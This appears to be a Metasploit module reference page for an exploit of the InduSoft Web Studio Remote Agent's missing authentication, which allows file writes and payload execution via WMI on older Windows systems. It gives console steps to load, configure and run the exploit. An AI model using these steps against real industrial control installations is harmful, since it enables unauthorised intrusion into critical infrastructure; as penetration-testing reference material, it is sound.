This module exploits a lack of authentication and authorization on the InduSoft Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to the filesystem, by abusing the functions provided by the software. The module uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows XP SP3 and Windows 2003 SP2.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/scada/indusoft_webstudio_exec
msf exploit(indusoft_webstudio_exec) > show targets
...targets...
msf exploit(indusoft_webstudio_exec) > set TARGET < target-id >
msf exploit(indusoft_webstudio_exec) > show options
...show and set options...
msf exploit(indusoft_webstudio_exec) > exploit
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